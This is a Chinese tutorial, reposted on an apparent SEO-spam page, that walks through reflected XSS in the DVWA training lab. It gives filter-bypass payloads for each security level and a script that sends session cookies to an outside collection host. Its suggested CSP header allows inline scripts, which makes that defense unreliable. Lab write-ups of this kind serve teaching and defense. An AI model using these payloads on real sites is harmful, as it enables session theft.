当前位置: 首页 > wzjs >正文

网站制作知名公司企点下载

网站制作知名公司,企点下载,阳江市政府问政平台,做振动盘的企业网站目录 一、环境搭建与漏洞原理 1.1 反射型XSS原理 二、Low安全级别漏洞分析 2.1 漏洞代码分析 2.2 利用方式 三、Medium/High安全级别绕过 3.1 Medium级别防护分析 3.2 High级别防护分析 3.3 各级别防护对比 四、Impossible级别与防御方案 4.1 Impossible级别实现 4.…

目录

一、环境搭建与漏洞原理

1.1 反射型XSS原理

二、Low安全级别漏洞分析

2.1 漏洞代码分析

2.2 利用方式

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

3.2 High级别防护分析

3.3 各级别防护对比

四、Impossible级别与防御方案

4.1 Impossible级别实现

4.2 企业级防御方案

一、环境搭建与漏洞原理

1.1 反射型XSS原理

反射型XSS(Reflected XSS)特点:

  • 恶意脚本通过URL参数注入

  • 服务端未过滤直接嵌入到响应中

  • 需要诱导用户点击特定链接触发

  • 攻击效果是一次性的

漏洞产生流程:

攻击者构造URL → 用户点击 → 服务器返回含恶意脚本的页面 → 浏览器执行脚本

二、Low安全级别漏洞分析

2.1 漏洞代码分析

<?php
header("X-XSS-Protection: 0");
if(array_key_exists("name", $_GET) && $_GET['name'] != NULL){echo '<pre>Hello ' . $_GET['name'] . '</pre>';
}
?>

漏洞点:直接输出用户输入,无任何过滤

2.2 利用方式

基础Payload:

http://192.168.21.4/dvwa/vulnerabilities/xss_r/?name=<script>alert(document.cookie)</script>

高级利用(窃取Cookie):

<script>
new Image().src="http://192.168.21.1/steal.php?cookie="+encodeURIComponent(document.cookie);
</script>

192.168.21.1服务器上收到cookie的值

图2.1 成功执行任意JavaScript代码

三、Medium/High安全级别绕过

3.1 Medium级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = str_replace( '<script>', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>

发现进行了<script>过滤

绕过方法

  1. 大小写混淆:<ScRiPt>alert(1)</ScRiPt>

  2. 嵌套标签:<scr<script>ipt>alert(1)</script>

  3. 使用非script标签:<img src=x onerror=alert(1)>

3.2 High级别防护分析

关键代码:

<?php
​
header ("X-XSS-Protection: 0");
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
?>
 

防护原理:使用正则表达式匹配并删除<script>标签及其变体

  • <(.*):匹配<后跟任意字符(包括无字符)

  • s(.)c(.)...:强制按顺序匹配s、c、r、i、p、t字母

  • /i:不区分大小写

绕过方法

  1. SVG标签:<svg/onload=alert(1)>

  2. 事件属性:<body onpageshow=alert(1)>

  3. 伪协议:<a href="javascript:alert(1)">click</a>

3.3 各级别防护对比

安全级别防护措施有效Payload示例
Low无过滤<script>alert(1)</script>
Medium移除<script>字符串<img src=x onerror=alert(1)>
High正则过滤script标签<svg/onload=alert(document.domain)>
Impossiblehtmlspecialchars转义无有效绕过方式

四、Impossible级别与防御方案

4.1 Impossible级别实现

<?php
​
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
​// Get input$name = htmlspecialchars( $_GET[ 'name' ] );
​// Feedback for end user$html .= "<pre>Hello {$name}</pre>";
}
​
// Generate Anti-CSRF token
generateSessionToken();
​
?>

htmlspecialchars防护原理

  • 将特殊字符转换为HTML实体

  • 例如:<&lt;"&quot;

4.2 企业级防御方案

  1. 输入验证(白名单原则):

    if(!preg_match('/^[a-zA-Z0-9]+$/', $input)){die("Invalid input");
    }

  2. 输出编码

    // HTML上下文
    htmlspecialchars($str, ENT_QUOTES, 'UTF-8');
    ​
    // JavaScript上下文
    json_encode($str, JSON_HEX_TAG);

  3. 内容安全策略(CSP)

    Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline'

    内容安全策略(CSP)详解:Web安全的关键防线-CSDN博客

  4. 现代前端框架防护

    • React/Vue/Angular默认自动转义

http://www.dtcms.com/wzjs/287176.html

相关文章:

  • b站刚开始怎么推广上海还能推seo吗
  • 展示网站建设的ppt推广关键词外包
  • 先建设网站后付款流程优化的七个步骤
  • wordpress+粘贴表格在线工具seo
  • 公司网站建设哪家好360优化大师官方下载手机
  • 网站左侧悬浮网页在线生成
  • 告诉你做网站需要多少钱广西网站建设制作
  • 协会网站建设需求文档seo查询软件
  • 做企业国际网站多少钱公司网站怎么注册
  • 网站点击率如何做网站流量查询平台
  • python 做网站开发吗网络营销主要做些什么
  • 网站建设联系电话株洲seo推广
  • wordpress log 日志百度seo是什么意思呢
  • 如何建设黔货出山电子商务网站常用的网络推广方法
  • 网站设计需要考虑哪些基本原则网络营销的推广方法有哪些
  • wordpress 自定义筛选北京seo公司华网白帽
  • 做视频网站推广挣钱吗明星百度指数排行
  • 双语版网站引导页手机百度如何发布广告
  • 做网站专题怎样添加微博网站建网站建设网站
  • 新建的网站怎么上首页网络营销产品推广方案
  • 女人做春梦视频网站郑州关键词排名外包
  • 网站 服务器选择百度怎么收录网站
  • 学做网站要懂英语吗湖南seo推广
  • 石家庄站布局图工具
  • 网站联盟是什么网时代教育培训机构官网
  • 山东电商网站建设抖音营销推广怎么做
  • 本地服务型网站开发搜狗广告联盟
  • 怎么把网站做二维码推广优化排名
  • 网站的优化和推广方案怎么做业务推广技巧
  • 云服务器可以做多个网站企业网站推广方案设计毕业设计